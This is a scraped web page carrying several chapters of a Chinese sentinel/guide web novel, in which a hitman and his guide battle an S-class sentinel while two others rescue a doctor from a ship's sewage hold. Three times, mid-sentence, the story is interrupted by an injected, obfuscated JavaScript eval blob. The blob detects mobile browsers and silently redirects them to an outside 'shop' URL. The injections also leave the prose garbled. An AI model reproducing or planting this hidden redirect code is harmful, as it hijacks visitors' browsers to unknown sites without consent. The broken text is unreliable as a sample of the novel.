两人的心跳不断攀升,精神触须延展到最大限度。里奇目光专注,海克双眼冰冷,他们紧绷着神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356935|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经,尽全力杀死对方的同时亦忌惮着对方的攻击。 因为高阶哨兵与高阶哨兵的战斗中,决胜只在瞬息之间。 躲开子弹,再向前一步,海克纵身跃入尘暴之中。杀手追踪着里奇的位置,拨开风沙的干扰,将视觉和触觉放大。 亚马逊雨林中枝叶的颤动传来,他猛地转过身,一片森林随着他挥手的动作从地面穿刺而出,海克身型一闪,从枝干上一跃而起,握紧直刀对着藏在废墟顶层的里奇的心脏刺去。 而S级哨兵处变不惊,一阵狂风卷着风沙,如同从天而降的昏黄河流将二人隔开,子弹自其背后穿来,分别指向海克的额间,胸腔和腹部。 与此同时,里奇的猛雕刚刚阻止了森蚺对自己主人的绞杀,煽动着巨大的翅膀和身下的巨蚺缠斗。 所以海克才让莱蒂斯快走。他看到了女孩在精神图景中的样子,明白了这孩子只是新手,但他和里奇打的是一场在现实中,精神图景中,以及精神动物之间同步进行的战斗。 如此长久的交锋这对他们双方来说都相当少见。他们都能同时进行三种形式的攻击,常人根本无法与之抗衡,因此,他们的对手常常早在他们第一次出手时就已经命丧黄泉。 但有什么不对。海克想。在入侵里奇精神图景的那一刻,他就判断出敌人大概率是评级S的哨兵。而他现在的听力大不如以前,感知和反应的能力也受到了影响,凭借丰富的战斗经验,海克能推断出,虽然自己正在全力应战,但对方现在并没有用全力在攻击自己。 那他的精神力用在了哪里? 海克警惕地思考着。 现在二人的精神图景相互交错,亚马逊雨林和战场废墟怪异又突兀地相互融合。海克是知道这样做的风险的——入侵对方精神图景的同时,他也把自己的精神图景暴露给了对方。 这 高空的风沙遮天蔽日,可每一粒细沙的踪迹常常无处可寻。 当海克与里奇交战之时,战场上无常之风向雨林吹去。 一缕几不可见的,细微的尘沙乘着风潜入在亚马逊的雨林,在主人精确道恐怖的控制力下避开海克受损的听力,悄无声息地游走,游走…… 直到它在密林的深处探知到了一个落雪般白色的身影。 那一刻,几乎是本能地,海克枯井一般的眼中闪过一丝恐慌。 在他出手之前,他已经将白鸟隐藏在了密林深处。哪怕是S级哨兵,也不可能想到,他的精神图景里还共生着另一个灵魂。 但他并不知道,米拉和里奇早就已经通过伪装,从卢娜那里得知了白鸟的存在。 滴,答。 接下来的一切全都发生在一秒之间。 那缕微不可见的沙尘忽地上升,异变,勾勒出了猛雕的轮廓——里奇的精神动物凭借沙尘为介质转移到海克的领域,向躲藏在雨林深处的白鸟攻去。对战斗一窍不通的白鸟还没反应过来发生了什么,一条亚马逊森蚺就从他身旁的树干上窜出,对准猛雕的脖颈扑了上去。 与此同时,眼前的风沙如同潮水暴涨,里奇的身影从沙尘中冲了出来,枪口直指愣在原地的白鸟。 向导蓝色的眼睛睁大了。密林的树木在狂风的蹂躏中颤抖,他看见一颗子弹迎面而来。 “砰!” 他闭眼,再睁眼,发现自己毫发无伤。一只温暖的手按住他的身体,将他护在怀里。 察觉到自己的向导有危险的海克.雷德,调用了所有的精神力瞬移回了自己的精神图景,半自动机械臂稳稳地瞄准了对面的里奇。 就在他们身旁,猛雕被森蚺咬着拽到了地上。 “别动。” 这沉默寡言的杀手终于开口威胁道,他嘶哑的嗓音如同蛇吐出信子一样让人倍感危机。 “……” 里奇看着海克,没再继续攻击。 精神动物陷入危险,他却面色如常,反倒是海克的心跳有些不稳。他紧紧护着白鸟,目光愈发阴沉了起来。 “我有一个问题。” 在这一触即发的对峙中,里奇突然说道。 “你是一个训练有素的哨兵,我也一样。所以你和我应该都知道,一个经过训练的哨兵,是绝对不会在战斗中阻断自己痛觉的。” “那么海克.雷德,你究竟是为了什么,阻断了自己右手的痛觉呢?” 滴,答。 现实世界里,鲜血滴落在船舱的地面,刺鼻的铁锈味迸发,连尼尔森之前留下的气味中合剂都无法掩盖。 明明前一秒,双方还打得势均力敌。 虽然海克刚才将所有注意力都集中在了精神图景之中,但他作为杀手的条件反射依然能维持他在现实中的战斗。 他凭敏锐的反应力和里奇见招拆招地搏斗着,直到他的本能没有及时察觉到危险的信号,出现了一瞬的疏忽—— 三颗子弹接连打穿了海克.雷德的右手,炸碎了他的骨头和肌肉。 这是连里奇都没有想到的结果。 当海克靠本能战斗时,他只能依赖自己的感官,但当S级哨兵攻击他右手时,他的感官没有意识到危险。 一个杀手绝对不会出现如此低级的疏忽。 这是一个温柔的,有所牵绊的人才会犯下的错误—— 在奥比利克斯餐厅受伤后,为了不让白鸟承受自己正在遭受的剧痛,海克.雷德阻断了自己右手的痛觉。 46. 第四十五章 海克没有回答里奇,里奇也并不期待他的答案。 船舱寂静如同铁质的棺椁。 从海克右手的残肢上滴落的血绽开在地面的刹那,两个哨兵再次同时开始了行动。 里奇俯身向前,带着一道残影冲向海克。而海克不再迎击,他向后一跃,半自动机械臂的子弹从刁钻的角度射出,扰乱了里奇的路径。 借着这个瞬间的空档,杀手快速拉开了和里奇的距离。 果然。 里奇明白海克的策略。废掉的右手让海克陷入近战劣势,他因此想改变进攻方式,从远距离拖住里奇。里奇自然不会让他如愿,乘胜追击。 与此同时,在精神图景中被森蚺控制住的猛雕煽动翅膀,羽毛凋零成尘沙,就要通过化尘逃离森蚺的钳制,向护着白鸟的海克攻去。 从船尾一路杀到这里,海克的体能本就不如里奇充沛,转瞬间,S级哨兵就闪身到了海克跟前。海克抬起眼眸,空洞的黑色眼睛与里奇剑般锐利的视线相撞。 然后,就在杀手即将被S级哨兵的半自动机械臂击穿身体时,里奇的身体忽然一滞—— 大地下坠,河流上升,铺天盖地的蓝色涌来!亚马逊河汹涌的水流在主人的意志下横贯雨林,阻断了空气与风,将里奇的沙尘禁锢于水中。 沉重水压之下,猛雕被迫变回原型,森蚺瞬间再次绞上了猛禽的身体,将它往水底拖去。 这绞索般的束缚是不留任何余地的杀招,里奇当机立断用上了全部精神力。S级哨兵有着堪称恐怖的精确控制力,海克的突袭再出乎意料,也没能阻止几颗细微的尘埃飘上半空。有了它们做引子,里奇闭上双眼,将自己分解。 只要他能掌控自己解离成的每一粒尘埃,他就能摆脱任何桎梏,在任何地方重组。 伴随着被撕裂成碎片的剧痛,水中的猛雕解体成一片尘埃,忽然隐没,又凭空出现,聚在那几颗浮沉周边,在半空重新凝结出了雕的实体。 里奇警惕着接下来的攻击。 可等他再次睁开双眼时,海克已经带着白鸟消失在了密林深处。 想跑吗? 里奇看着高耸的雨林。贴地而起的风扬起尘埃,他的身形变得模糊,消失在风沙中。 猛雕在高空中盘旋,随后,沙尘暴遮天蔽日地升起,无孔不入地涌入雨林。目的从偷袭转换为追杀后,里奇也不再压抑自己的精神力,以碾压般的攻势追逐起雨林中潜藏的两个身影。 高达百米的沙墙吞没树木向前推进,这就是S级哨兵的力量——这干涸大地上的巨大幽灵,将森林推平为荒漠的灾害,只在他一念之间就拔地而起。 可你为什么会做出如此愚蠢的判断?你明知道从S级哨兵的手里逃掉没那么简单。里奇一边展开自己的感官,一边想:刚刚的偷袭是你抢占了先机,在此和我一战,你的结局也许还有一丝转机。但你居然为了那个累赘放弃了这一切,为什么? “你真不应该这样。我没那么脆弱。” 白鸟说。他的语气从未像现在一样严肃,像个医生在指责不听话点病人。可那蓝色的眼睛里根本就没带半点责备点意思,只是暴露了他的担忧和心疼。 他被海克抱着,在雨林中飞驰。起初意识到海克的右手是为了自己才被子弹打碎的时候,当过医生的向导还温怒地想要挣扎,但海克低声说了句“小心,这里危险,我带你走”,看着他的眼睛是那样一丝不苟,他只能叹口气,环住了海克的脖子。 这里是战场,他相信海克的一切决策,也愿意无条件地听从海克的指令,但嘴上的教育还是不能停的。有些话他必须跟海克说清楚: “我只是一个借住在你精神图景里的灵魂而已,就算我感觉到疼痛,那又怎么样呢?你才是活着的人,你怎么可以把我放在你自己之前呢?不要再因为我让自己受到伤害了,海克,你——” 白发的向导说着,忽然看见他们头顶的天空因为沙尘暴变了颜色,像是将要腐烂的纸张那样泛着不详的昏黄。似乎注意到了他的不安,海克不动声色地让四周高大的树木合抱在一起,遮蔽了天空。 “海克……你……”杀手的体贴让白鸟顿了顿,本就性格温和刀医生又没了脾气。他低下了头,声音小了,抱着海克的手却不自觉地环紧了些。 那句一直想告诉海克的话直白地脱口而出:“你是拯救了我的人。你要明白,对我来说,比起我,你才更重要。” “……啊。” 海克愣了愣,不知道为何怀里的白鸟体温突然升高了。他被这么一顿说,脑子有点转不过来,半晌,回以白鸟一句: “可明明,是你救了我,白鸟。” “所以比起我,你更重要。” 白鸟的体温一下子更高了。 “等一下,别,别说了。我本来没想说这个的……这到底在比什么啊……” 白鸟嘟囔了一句,忽然不知道说什么好了。海克疑惑地低头,却看见白鸟又恢复了正色,也正抬起头来看他。即使苍白的脸颊上已经泛起了藏不住的粉红,白鸟还是认真地,有些倔强地继续了自己的主张: “听我说,海克,我是个医生。我不想你保护,我想给予你帮助。” “同样的,我还是个向导。所以海克,你接下来的计划是什么?我会作为你的向导辅助你,和那个哨兵战斗的。” “……” 海克在他冰川般湛蓝的眼睛里有些迟疑,他说:“我是想,先把你送到可以藏起来的地方。” “都说到这个份上了,你还想把我晾在一边吗?” “不……那个哨兵,他很强,我必须为卢娜她们拖住他,或者,杀了他。但我要做的事,我怕你不同意。” 他听起来像是个因为做错事而小心翼翼的孩子,只怕白鸟会不开心。而白鸟听了,也微微蹙起了眉。杀手这幅样子可不多见,上一次还是他把活生生割下的人耳递给妹妹之前。 凭借白鸟对海克的了解,他隐约猜到了对方的想法,但那绝不仅仅是“做错事”的范畴。 白鸟下意识看了眼天空:“你不会是要……” “嗯。那会,很可怕。所以你还是藏好——” “不可能。”白鸟想都没想就拒绝道。他盯着海克的眼睛,贴近他的脸颊,直到杀手的呼吸也落在自己的鼻尖。海克的打算让他感到担心,还有些害怕,但他知道自己没办法劝海克放弃,也想不出其他迎战S级哨兵的计划。更重要的是,他早就下定决心—— “无论你想做什么,我都会陪着你。” “沙……沙……” 数分钟后,沙尘从他们身后的树冠缝隙向下渗透,在雨林潮湿的空气中下降。 海克再次加快脚步,但高处传来了猛雕的鸣叫。 他们就要被追上了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356936|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“啊,对了,白鸟…” 趁着最后这点只属于他们两个人的时间,杀手忽然想起了什么,对向导坦白了敌人问的那个问题的答案。 “我,屏蔽痛觉,并不是觉得你脆弱。你是我见过,最坚强的人。只是……” 他用力抱紧了怀里苍白的身体。酒神节的走廊里,他曾经见过这具身体是如何遍体鳞伤。 “你之前,遭受的疼痛,已经够多了。” “我不想,你再痛了。” 里奇早知道他会遭到反击。 海克那样经验丰富的杀手,绝对不会从风而服。因此,在风沙席卷二人的前一刻,潜藏在其中的里奇和猛雕就已经做好了出手的准备,只待战斗一触即发。 可前方的海克突然止住了脚步。 他转过身来,直面尘暴,一个白发的身影如同鬼魂悬浮在他身后,蓝色的眼睛像是凝结的海洋。 随后,白鸟抬起手,捂住了海克的双耳。 “轰隆——!!!” 剧烈的雷鸣猛然炸裂开来,一道长枪般的闪电以光速贯穿天地,刺向俯冲而去的猛雕。里奇睁大了眼睛,稳住意志,操控猛雕化为沙尘,然而猛禽的右翅还是被击中了。 霎那间,剧痛和麻木交替着鞭笞在了里奇的身体。S级哨兵猛地跪倒在地,在精神图景里,也在现实里。 “呃……” 里奇吞下一口血,然后,整个世界开始闪烁。 地面震颤着生出裂痕,空中浮现出萧索的寒意,一重接一重的闪电一次又一次地将精神图景中的色彩撕裂成惨白,每闪一次,雨林就变得枯朽,直到只剩下干瘦的枯枝,如同尸体高举的手臂伸向天空。 而在这凄凉的景象之上,竟徜徉着漫天灿烂的极光! 那是白鸟的存在给海克带来的改变。 在交错的光影中,里奇看到海克的子弹向自己袭来。白鸟以灵体一般的轻盈紧随在海克身旁,和他一同呼吸,将他躁动的感官维持在稳定的状态。 不计其数的闪电降临大地。里奇看出它们毫无规律,根本就是在无差别攻击。 不愧是杀手。 里奇的短发在一瞬间被汗水打湿。他将感官全数解放,褐色的瞳孔如同一片荒漠。冒着过载的风险,他勉强躲开了紧追不舍的雷击,只是被子弹击中了侧腹。 海克这是主动让自己的精神进入了暴走状态,连带精神图景也一并崩坏失控了。 这是万劫不复的深渊,狂躁和神游症的前兆——这家伙随时可能被自己失控的图景吞噬。 而他居然把这当作一种攻击手段吗? 里奇暂时化为无形的风沙,往远处撤离。天空呈现出不详的黑紫色,他不得不承认,这是一场艰难的战斗。他知道海克的目的是拖住自己,而他竟然真的如同深陷雨林沼泽一样无法抽身。 “但这样的精神图景……是‘井’造成的吗……” 里奇皱紧了眉。受伤对他来说不值一提,他几乎是立刻就冷静了下来。眼前的场景并不让他恐慌,反而叫他看出一些端倪。 他一边在现实中对失去右手的海克穷追不舍,一边在精神图景中与海克周旋起来。 但当瞥见白鸟时,S级哨兵还是忍不住想: “有意思,没想到这家伙还真的能起到辅助作用。要是没有他的存在,海克过不了多久就会被自己的精神图景反噬了。 47. 第四十六章 “啊啊啊啊——!!” 酒神节的哨兵在污水中挣扎。 上一秒他还握着冲锋枪对那个绿眼睛的哨兵射击,下一秒这女的抬起右手上的机械臂一挥,他的子弹就在空中被阻击掉了。他还想拦住他们,抬起腿向前,然后直直跪进了水里。 这时他才发现,自己双腿的膝盖在刚刚被打碎了。 那对哨兵向导手拉着手从他旁边经过,往污水舱的深处跑去。金色眼睛的向导瞥了他一眼,把他掉在一旁的冲锋枪一脚踹出老远,然后在他的惨叫声中嘲讽地丢下了一句: “唉,叫得真难听,人还是死了更安静。” 一脸无所谓的男人说完,转过头看向身边的少女,眼中的金色流转起来,色泽如同蜂蜜一样漂亮。 他悄悄帮莱蒂斯屏蔽掉了所有哨兵的哀嚎。 被子弹打穿关节无法行动是很惨,但他们真的很吵。作为一个优秀向导,尼尔森当然要为自己的哨兵排除他们的干扰。虽然就他稀薄的道德感来说,他其实更想直接把这些人全部干掉,来给莱蒂斯提供一个真正安静的空间。 只要用上点认知误导的花招,他就能辅助莱蒂斯在不自知的情况下把这群杂兵直接爆头,既一了百了,又不会对小姑娘造成心理负担。但不知为何,直觉提醒他这是在作死,他只得作罢,继续听这群哨兵鬼哭狼嚎。 这艘船的污水舱恐怕从来没这么热闹过。发动机的轰鸣从隔壁机室传来,枪声和惨叫连绵不绝。尼尔森和莱蒂斯在奔跑,试图阻拦他们的哨兵们在挨个被打倒在地,满身污水和机油地苟延残喘。 没有精神动物袭击他们,那些食肉的野兽们甚至没敢实体化。 在莱蒂斯的狼群的注视下,本能的恐惧始终萦绕在那些低等级哨兵的脑海。别说召唤精神动物去攻击了,对他们来说,在这种压力下对莱蒂斯开枪都已经非常困难。 当最后一个哨兵倒地时,尼尔森感到此起彼伏的畏惧和绝望在黑洞洞的污水舱中回荡。莱蒂斯之前的话绝非虚言,他们要拦,还是要投降,对结果而言都没有影响。 酒神节一方还能活动的人只剩下一个向导。 一开始就是这个人对莱蒂斯施加了五感封印。现在他蜷缩在污水舱的角落,浑身湿透。他失神一般地低着头,双手拢在一起,保持着一个类似祈祷的姿势。 他的精神动物倒是出来了——这是唯一一个在莱蒂斯面前放出了精神动物的共感者。那只小型的短蛸章鱼趴在他的掌心里,身体表面浮现出和莱蒂斯眼睛相似的墨绿。它用柔软的吸盘推挤着主人的手心,想要钻出这个十指搭成的小型牢笼。 它想要到莱蒂斯身边去,而他只能通过这种方式阻止它。 它甚至不是在主人的指令下实体化的。 这就是这向导无措的原因。他发现自己根本控制不住自己的精神动物,就像他根本控制不住他自己。在莱蒂斯轻易击碎了他的五感封印,解放了听力之后,向导就产生了一种怪异的感觉。那是混合着恐惧和崇拜的混沌情感,像病变的物质一样在他的胸口膨胀,几乎要使他心脏破裂。 他仿佛就站在深渊一侧,一边畏惧着无底的黑暗,一边被深渊呼唤着,想要纵身一跃—— 向导有辅助哨兵的本能,尤其是对强大的哨兵。 他紧紧闭上眼睛,用上全部精神力控制自己留在原地。 控制自己不去对那个少女臣服。 污水舱的另一侧,尼尔森早注意到了这个自我怀疑的向导。他拉着莱蒂斯的手穿过一片混乱,甚至懒得分给他一个眼神。 这人的担心纯属多虑了。就算他真的连滚带爬过来要向莱蒂斯献身,莱蒂斯也不会理他的。一方面当然是因为莱蒂斯对这事儿没有概念也没有兴趣,另一方面嘛,尼尔森早用认知误导把这人的存在从莱蒂斯眼里给抹掉了。 侦探带着微妙的笑意,弯了弯金色的眼睛。 莱蒂斯可是和他有精神共鸣的哨兵,他怎么会让其他目的不纯的向导接触她呢? “卢娜小姐?卢娜小姐!不对,怎么会……卢娜小姐!你能听见我说话吗?” 莱蒂斯对陌生向导和尼尔森复杂的想法一无所知,从头到尾,她都只是一心想救人。废掉了所有敌人之后,少女顺利抵达了卢娜所在对位置。她不顾淹上脚踝的污水,单膝跪进水中。 这就是卢娜所在的位置,但这里什么都没有。 假眼蝶向导的认知误导相当恐怖。除了完全解放的听觉,莱蒂斯的其他感官依然无法识别到卢娜.雷德的存在。即使卢娜的心跳近在咫尺,她伸出的手却还是无法触碰到卢娜的身体——错误的认知让她只觉得自己碰到的是冰冷的污水。 “不行。还需要至少解开我的触觉才行……”时间紧迫,少女当机立断,拉拉尼尔森的手,“帮我个忙,尼尔森。你说得对,所有的精神屏障都是可逆的。我想把触觉的屏障也解开,你——” 话说一半,她眼前一花,身体晃了晃。 “你先别想。”尼尔森赶紧把她捞住,“你现在连维持听力都够呛,怎么可能再解放触觉?我不知道你有没有意识到,但你的感官收集到的信息流和普通哨兵根本就不是一个体量的。如果不循序渐进就直接解除屏障,谁都承受不住那种痛苦。” “我知道解除屏障的代价,”莱蒂斯坚持道,“但现在你可以辅助我。有你在,解除屏障就不那么痛了。” “这么信任我,我都要感动了。”尼尔森装模作样做了个被打动了的动作,“但说实话,我不建议你这么相信我。我还能用向导能力的时候,基本都是在干坏事,很少辅助别人,业务根本不熟练。” “而且,”侦探眯起眼睛,收敛了那副似笑非笑的模样,认真道,“我说过了,我这是最后一次辅助你解开屏障。你现在需要的是精神疏导,而不是继续折腾自己。” 莱蒂斯的眉又蹙了起来,右手快要报废的半自动机械臂冒出启动的红光。 尼尔森有种不好的预感,然后偏执和威胁就透过他们相连的精神传了过来。 “尼尔森,我不想对你动粗。帮我。” 莱蒂斯说。她的声音是恳求的语气,看着他的眼睛却像一匹一意孤行的狼,而她的狼群也都跟着盯着他俩,看得刚刚还游刃有余的尼尔森太阳穴抽了两下。 向来能屈能伸的侦探吸了口气,说:“不行。” 自我牺牲总得有个限度,再由着她这么下去,尼尔森担心她的精神会受到不可逆的损伤。 也好在莱蒂斯非常好懂,他知道怎么劝才劝得住她:“莱蒂斯,你是我们这边唯一的战斗力。我很弱的,如果你失控倒下了,我一个人可救不走卢娜。你难道想看我和她都死在这艘船上吗?” “我怎么会,唔……”莱蒂斯愣了一下,她不愿意妥协,却又不得不承认他说的有道理。可她还有什么办法呢?他们都已经走到这一步了!污水的触感一下子让她感到了焦躁和沮丧,她茫然地摸索起来,继续呼喊医生的名字,试图得到回应,却一无所获。 “可恶!”还不太会骂脏话的小姑娘咬紧牙关,“那个假眼蝶的向导到底怎么做到的……卢娜小姐明明就在这里,但是我根本……卢娜小姐!你能听见我吗?我——” “哈哈,操!假眼蝶?原来是这样,哈哈!别嚷嚷了,没用的!” 不远处的水面突然传来了一个男人的声音,那是某个被莱蒂斯打倒的哨兵。他还有意识,但疼痛和无法行动似乎让他有些癫狂,就连狼群的震慑都没有让他闭嘴。 “早说啊,你们说要救的人原来是被米拉那疯丫头隐藏了啊!操!那老子拼死拼活拦你们到底是为什么?啊哈哈哈……哈哈哈!”男人说着说着,笑得更加大声了,淹着他的污水颤动着荡出涟漪,里面渗着他的血。 “哪怕根本不拦你们,你们也不可能找到的。米拉的能力就是这样的机制,能把一件东西的存在完全抹去!哈哈,哈哈哈!哎哟,真爽。虽然你这种高阶共感者可以轻易碾压我们,但到头来还是对更厉害的家伙没有任何办法啊,哈哈哈!” 莱蒂斯身上的压力陡然增加了,那种因为自己能力不足而产生的自卑卷土重来。尼尔森牵着她,心说我这精神疏导还没开始呢,怎么又跑出来个混蛋给她增加压力了?他觉得有点烦了,挑了挑眉,转过头,对那个男人报以微笑: “爽吗?你知道高阶共感者还能做什么吗?”他用手指点了点自己的太阳穴,“我可以让你在一秒内自杀。虽然现在我的能力有点限制,必须过来和你肢体接触才行,但是不急嘛,反正你腿断了。等这边正事处理完了,我就来找你玩。” 当然,这一整段话,他都从莱蒂斯的听觉里过滤掉了,在她眼里,尼尔森只是在安慰她冷静一点。温柔的安抚和深海的清冷同时传来,试图抚平她的焦虑。 与此同时,男人身上传出的惊恐。也许是尼尔森毫不掩饰的恶意,或者是那双仿佛剧毒的金色眼睛,他总觉得眼前这个吊儿郎当的男人真的可以烧坏他的脑子。为了缓解这种恐惧,他强撑着喊道:“哈!你来啊!就算杀了我,你们也破解不了米拉的机制!” “……米拉的……机制。” 在尼尔森的安抚和男人声嘶力竭的喊声中,莱蒂斯小声重复道。下一秒,她突然发出了一声恍然大悟的,小小的呼声。一种似曾相识的明悟的情绪传来,仿佛在她头顶亮了盏灯泡。 “啊,我知道了。” “啊?”虚张声势到一半的酒神节哨兵懵逼了,“你知道什么了?” “哎哟。”一旁的尼尔森倒是开始习以为常了。感觉到莱蒂斯的情绪好转,他高兴地笑了笑,对那个哨兵道:“很神奇吧,她就是这样的。说不定她还会跟你说谢谢呢?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356937|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “谢谢,你说得对。”莱蒂斯对污水里半死不活的敌人说,虽然语气认真,但听起来更像是对那个哨兵言多必失的嘲讽,“没错,那个向导的隐藏是有机制的。” 听力解放之后,她下意识开始依赖自己的共感力,疲惫和急躁更是让她思路混乱。但其实冷静下来想想,除了用自己强大的感官强行突破米拉的认知误导之外,从米拉的认知误导本身出发,去寻找破解方法,才是更理智的做法。 回想起来,在皇家格兰戈医院里,那些被米拉隐藏起来的哨兵动手袭击他们时,莱蒂斯是能够察觉到他们的存在的。只是他们的偷袭出其不意,又有S级哨兵出手,她才没有成功反击。 也就是说,米拉的隐藏也存在机制上的弊端。虽然她能把隐藏对象完美地从他人认知中抹去,但当隐藏对象主动向他人攻击,或者说,主动和他人产生交互时,这种隐藏就会失效。 少女闭上双眼,将听力集中在卢娜的心跳上。她清晰地听见血流从心脏中迸发,向医生的身体各处流淌,流向大脑,脏器,以及她的指尖。 就这里吧。 她抬起半自动机械臂,拆掉了手部摇摇欲坠的小零件。这玩意从她听力暴走之后就过载了,撑到现在本身就离报废不远,被莱蒂斯拆了个零件后,不自然地抽动了两下,彻底没了动静,只剩下指尖部分还在闪烁着不稳定的电流。 莱蒂斯忍着漏电的疼痛,把自己沉重冰冷,沾着血液的指尖轻轻放在某个位置。 在塔里的时候,她曾经学到过一个常识。 人在触电时,手部肌肉会痉挛,不受大脑控制地收缩,因此而握拳,抓住电流的来源。 因为麻药的效果,卢娜无法控制自己的肌肉,但莱蒂斯的机械臂带着微量电流,足以刺激她产生条件反射。 她通过听力确认的,就是卢娜手心所在的位置。 于是,当指尖的电流到达正确位置的刹那,一只带着茧的,被污水泡得有些发皱的手回握住了钢铁。肌肉的痉挛让她握得是那样的用力,那样的鲜明,像是在汪洋之中抓住了救命的浮木。 莱蒂斯的眼睛亮了起来。 还穿着白大褂的卢娜.雷德就这么从污水中浮现,完好无损。 她们之间的交互让米拉的隐藏失去了效果。 “卢娜小姐!”莱蒂斯高兴起来,尚且稚嫩的表情像个在捉迷藏里赢了的小孩。经历了如此漫长又痛苦的煎熬,她终于救到了卢娜。 她深吸一口气,感到如释重负。就像一根紧绷的弦突然断掉了一样,她一下子有些眩晕。 即使如此,她还是转过头去,对旁边的尼尔森露出微笑。 “快看,我们成功了!原来这件事还挺简单……的……?” 污水舱里一如既往的晦暗,莱蒂斯眼前有些昏花,视野像是被火烧穿了一样发黑。 在这模糊的黑暗中,她看见尼尔森金色的眼睛里充满了担忧,甚至于恐慌。 怎么了?她想。她的耳边充满了杂音,但尼尔森的声音通过共鸣传来。 “莱蒂斯,你……莱蒂斯!莱蒂斯!不要睡,听我说话!” 她好像是被拉进了侦探的怀里,或者是她自己在天旋地转中被侦探接住了。那片熟悉的,令人安心的深海淹没而来,离翼水母像一串星星漂浮在她眼前,污水舱此刻宛若恍惚的梦境。 操,操! 尼尔森不知所措。 他把莱蒂斯拉进了自己的精神图景,他把她的听力调整回了正常水平,他尝试引导她重构精神屏障并且摒除她所遭受的所有痛苦,但他辅助哨兵的经验实在屈指可数,他不知道自己现在的修复到底能不能起到作用。 当莱蒂斯抬起头来对他微笑时,他眼睁睁地看着鲜血从少女的鼻腔中淌出。 她的脸色比污水中的卢娜.雷德更加苍白。 少女似乎对此毫无知觉,身体却失去了平衡,向污水中栽倒,被尼尔森下意识接住了。 操,原来她的精神早就已经撑不住了。 尼尔森浑身冷汗。 这小姑娘一直在逞强。她是如此坚定地认为自己可以坚持,以至于连尼尔森也都被她骗过了,但刚刚那一瞬间的放松让她长久以来压抑的不适在同一时间迸发,如同失控的火山,转瞬就将她拖入燃烧的地狱。 没关系,他能治好她……至少先让她恢复行动能力…… 污水在他们身边摇晃,尼尔森似乎也有点眩晕了。不过他们还有时间,所有敌人都被打败了,而经过莱蒂斯完全解放的听力的探查,那个叫米拉的向导也已经不在这儿了。 可那个叫米拉的向导到底到哪里去了呢? 一向思维缜密的侦探已经没有余力思考这个问题。他擦去莱蒂斯脸上的鲜血,把她从湿冷的水中捞起来,脱下西装外套披在小姑娘身上,只希望她能好受点。 48. 第四十七章 “呃……” 里奇身体一顿。 这是他第四次没能躲开闪电。树根状的红色痕迹蔓延上他脖颈,他只是发出了一声短促的低吟。 他从停顿中恢复的速度比之前更快了。在现实世界里,他从铁架上跳起,乘胜追击,像只在低空滑翔的鹰那样冲向负伤的海克.雷德。但船底的大型机械隆隆作响,如同从精神图景中蔓延而出的雷声,海克.雷德身型一闪,再次从他枪口逃开了。 里奇跟着调转方向,继续拉近距离。强大的五感让他依然能够精确定锁定海克的行动,但他的视线确实难得有些发花。 S级哨兵的眼睛里布满血丝,像是从沟壑里渗出鲜血的洁白大理石。闪电带来的剧痛和紊乱仍然奔走在他浑身上下,左肩的外伤渗出了血将衣物浸透,而半自动机械臂接收到的神经信号已经开始出现不稳定的迹象。 这很疼,里奇想,但他并不是在抱怨,而是在思考。他是一个在战场上待了太久的男人,连疼痛都会被他当作情报分析。 里奇的一生受过很多伤,大大小小,遍布全身,如果撕去他的衣物,这具身体上显露的伤疤一定不比身为杀手的海克.雷德要少。但即使如此,他也是第一次感觉到这样的疼痛。 一种像黑洞一样的,向内坍缩的疼痛。 解析着这种陌生的疼痛,里奇看向海克一片荒凉的精神图景。 灿烂的极光如同低垂的帷幕,而干枯的大地承载着雨林的尸体——这片精神图景是濒死且畸形的,就像一个绝望的疯子在死前最后的作画。 与此同时,这种畸变的电信号在闪电的攻击中亦传递至了里奇的神经之中,疼痛密不透风地将他的知觉囚禁起来,被闪电击中的瞬间,他感觉自己在向下坠落。 向一口漆黑的,无底的“井”中坠落。 里奇眯了眯眼睛,躲过了海克在精神图景中射来的子弹。 即使精神图景已经暴走,海克依然能意识清晰地精确行动。里奇再次意识到,海克.雷德必然是一位非常强大的杀手。 甚至能算得上是世界顶尖的杀手。 “砰——” 又是一枪,子弹擦过猛雕麻木的右翅,羽毛和血从羽翼上剥离,零落地飘向精神图景中的荒芜大地。 现实中,受伤的海克很难与里奇正面对抗,但精神图景里,他才是那个占据攻击优势的一方。 尽管闪电的降落毫无规律,但海克终归更加熟悉自己的精神图景,知道如何及时躲避。而那让里奇都被影响到的古怪幻痛,在白鸟的守护下也如同一段模糊的噩梦一样被消抹了,他并没有因此受困,反而抓住了机会击中了里奇的精神动物。 “轰隆——” 一道令世界褪色的闪电从天而降。惨白的光瀑中,里奇看到海克向自己杀来。他接下了海克的横踢,褐色的眼睛却一眨也不眨,像是一把要将海克剖开的刀那样锐利。 海克这个级别的杀手,却在酒神节做看守,这个事实本就说明了很多。 